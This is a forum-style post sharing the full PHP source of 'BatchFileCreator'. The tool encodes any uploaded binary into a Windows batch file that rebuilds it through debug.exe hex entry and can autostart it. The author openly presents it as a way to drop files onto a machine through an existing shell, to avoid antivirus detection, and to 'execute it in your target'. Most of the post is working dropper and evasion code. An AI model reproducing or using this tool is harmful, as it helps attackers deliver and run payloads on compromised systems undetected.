<strong>PHP BatchFileCreator (batch program that makes and execute a program)<br><br style="font-weight: normal;"><span style="font-weight: normal;">If you have a shell, and you want to send a file, you need to use FTP to process it, or to try to compile it there.. anyway, this code, will generate a batch file that will create the specifie
<span style="font-weight: bold;"><span style="font-weight: bold;"><span style="font-weight: bold;"><span style="font-weight: bold;"></span></span></span></span>d file and optionally execute it.<br><br>It is usefull to any person that wants to:
<br><br>1.- Encrypt a<span style="font-weight: bold;"> </span>file content, or avoid Antivirus detection.<br>2.- Make a batch file that serves as an installation program.<br>3.- Create a binary program at an ASCII (plain text) windows shell.
<span style="font-weight: bold;"> </span></span><br style="font-weight: normal;"><br style="font-weight: normal;"></strong>Steps for making your batch programs:<br>
1.- Send the file to <a href="http://sirdarckcat.awardspace.com/BFC.php" target="_blank">http://sirdarckcat.awardspace.com/BFC.php</a><br>
2.- Download the batch file that it will create.<br>
3.- Execute it in your target.<br>
<br>The source code of the PHP program is this:<br><font style="font-family: courier new,monospace;" size="1"></font><pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 498px; text-align: left;">
&lt;?php<br>/**<br>* Batch File Creator<br>*  By SirDarckCat from <a href="http://elhacker.net">elhacker.net</a><br>*  Program distributed under the GNU - GPL License<br>**/<br>if(isset($_FILES[&#39;attachment&#39;][&#39;name&#39;]) &amp;&amp; $_FILES[&#39;attachment&#39;][&#39;size&#39;]&lt;=65535){
<br>if ($_FILES[&#39;attachment&#39;][&#39;size&#39;]==0){<br>        echo &quot;PHP.INI settings, doesn?t allow me to process your file, or you did something wrong\r\n&quot;;<br>exit;<br>}<br>header(&quot;Content-Type: text/plain&quot;);
<br>header(&quot;Content-Disposition: attachment;filename=\&quot;BFC&quot;.rand(0,5012).&quot;.bat\&quot;&quot;);<br>        $rn=$_FILES[&#39;attachment&#39;][&#39;name&#39;];<br>        $tn=&quot;s&quot;.rand(0,100).&quot;x.txt&quot;;
<br>        $z=(isset($_REQUEST[&#39;autostart&#39;]))?&quot;start $rn&quot;:&quot;EXIT&quot;;<br>        $x=file_get_contents($_FILES[&#39;attachment&#39;][&#39;tmp_name&#39;]);<br>        echo &quot;@echo off\r\n<br>        REM BatchFileCreator 0.1
<br>        REM         By SirDarckCat from <a href="http://elhacker.net">elhacker.net</a><br>        REM Visit <a href="http://sirdarckcat.googlepages.com/bfc">http://sirdarckcat.googlepages.com/bfc</a><br>\r\n:rx<br>\r\nif EXIST shell.x (<br>
        echo Loading..<br>        start \&quot;Loading..\&quot; /MIN /WAIT cmd /C debug^&lt;shell.x<br>        if EXIST \&quot;$rn\&quot; (<br>                del \&quot;$rn\&quot;<br>        )<br>        ren $tn,\&quot;$rn\&quot;<br>        start cmd /C del shell.x<br>        $z<br>
        goto:EOF<br>) ELSE (<br>        call:cds<br>        call:rx<br>        start cmd /C del shell.x<br>        goto:EOF<br>)<br>        \r\n:cds<br>        \r\necho n $tn &gt;shell.x\r\ntype %~nx0|find \&quot;e \&quot;|find /v \&quot;REM\&quot;&gt;&gt;shell.x\r\necho
 rcx&gt;&gt;shell.x\r\necho &quot;.base_convert(strlen($x),10,16).&quot;&gt;&gt;shell.x\r\necho w&quot;.((isset($_REQUEST[&#39;binary&#39;]))?&quot;0&quot;:&quot; &quot;).&quot; &gt;&gt;shell.x\r\necho q&gt;&gt;shell.x\r\ngoto:EOF\r\n
&quot;;<br>        <br>        $bin=(isset($_REQUEST[&#39;binary&#39;]))?0:256;<br>        <br>        for ($i=$bin;$i&lt;strlen($x)+$bin;$i++){<br>                if (!($i%16)){<br>                        echo &quot;\r\ne &quot;.base_convert($i,10,16).&quot; &quot;;<br>                }<br>                echo substr(&quot;00&quot;.base_convert(ord($x[$i-$bin]),10,16),-2).&quot; &quot;;
<br>        }<br>        echo &quot;\r\n REM EOF\r\n&quot;;<br>}else if (isset($_FILES[&#39;attachment&#39;][&#39;name&#39;]) &amp;&amp; $_FILES[&#39;attachment&#39;][&#39;size&#39;]&gt;65535){<br>        header(&quot;Content-Type: text/plain&quot;);
<br>        header(&quot;Content-Disposition: attachment;filename=\&quot;BFC&quot;.rand(0,5012).&quot;.bat\&quot;&quot;);<br>        @ob_start(&#39;ob_gzhandler&#39;); // This are larger files, so we better compress them :P<br>        $tn=&quot;s&quot;.rand(0,100);
<br>        $rn=$_FILES[&#39;attachment&#39;][&#39;name&#39;];<br>        $m=file_get_contents($_FILES[&#39;attachment&#39;][&#39;tmp_name&#39;]);<br>        $xx=strlen($m)/65000;<br>        $z=(isset($_REQUEST[&#39;autostart&#39;]))?&quot;start \&quot;\&quot; \&quot;$rn\&quot;&quot;:&quot;EXIT&quot;;
<br>        echo &quot;@echo off<br><br>                REM BatchFileCreator 0.1<br>                REM         By SirDarckCat from <a href="http://elhacker.net">elhacker.net</a><br>                REM Visit <a href="http://sirdarckcat.googlepages.com/bfc">http://sirdarckcat.googlepages.com/bfc
</a><br>                <br>        IF \&quot;%~1\&quot;==\&quot;\&quot; (<br>                echo Loading..<br>                start \&quot;Loading..\&quot; /MIN /WAIT cmd /C \&quot;%~nx0 xD\&quot;^|debug<br>                copy /Y /B $tn.*,\&quot;$rn\&quot;<br>                del $tn.*<br>                $z<br>
        ) ELSE (\r\n&quot;;<br>                for ($j=0;$j&lt;$xx;$j++){<br>                        $x=substr($m,$j*65000,65000);<br>                        echo &quot;echo n $tn.p$j&quot;;<br>                        $sl=strlen($x);<br>                        for ($i=0;$i&lt;$sl;$i++){<br>                                if (!($i%16)){<br>                                        echo &quot;\r\necho e &quot;.base_convert($i,10,16).&quot; &quot;;
<br>                                }<br>                                echo substr(&quot;00&quot;.base_convert(ord($x[$i]),10,16),-2).&quot; &quot;;<br>                        }<br>                        <br>                        echo &quot;\r\necho rcx\r\n&quot;;<br>                        echo &quot;echo &quot;.base_convert(strlen($x),10,16).&quot;\r\n&quot;;
<br>                        echo &quot;echo w 0\r\n&quot;;<br>                }<br>                echo &quot;echo q\r\n&quot;;<br>        echo &quot;)&quot;;<br>}else{<br>        ?&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>&lt;title&gt;BatchFileCreator 0.1 by sirdarckcat&lt;/title&gt;<br>
&lt;/head&gt;<br>&lt;body&gt;        <br>        &lt;center&gt;<br>        &lt;h1&gt;BatchFileCreator 0.1&lt;/h1&gt;<br>        &lt;h3&gt;by sirdarckcat&lt;/h3&gt;<br>        &lt;h5&gt;<a href="http://elhacker.net">elhacker.net</a>&lt;/h5&gt;&lt;/center&gt;
<br>        &lt;hr&gt;<br>        &lt;pre&gt;<br>                With this program you can create a batch file that when is executed, will generate<br>                and (optionally) execute a binary file.<br>                <br>                Select the file you want to upload, then submit. With a very large file your
<br>                computer may be unable to process it. (MaxSize: 2 MegaBytes)<br>        &lt;/pre&gt;&lt;table align=center&gt;<br>        &lt;form method=POST ENCTYPE=&quot;multipart/form-data&quot; action=&quot;?download&quot;&gt;<br>        &lt;input type=checkbox name=autostart value=1&gt; - Autostart when is created?&lt;br&gt;
<br>        &lt;input type=checkbox name=binary value=1&gt; - Binary?&lt;br&gt;<br>        File: &lt;input type=file name=attachment&gt; &lt;br&gt;&lt;/table&gt;<br>        &lt;hr&gt;&lt;center&gt;<br>        &lt;input type=submit&gt;&lt;/center&gt;
<br>        &lt;/form&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;<br>        &lt;?php<br>}<br>?&gt;</pre><font style="font-family: courier new,monospace;" size="1"></font><br clear="all">Hope its usefull :)<br><br>Greetz!!<br>-- <br>Att.<br>
<a href="mailto:SirDarckCat@GMail.com">SirDarckCat@GMail.com</a><br><br><a href="http://www.google.com/search?q=sirdarckcat">http://www.google.com/search?q=sirdarckcat</a>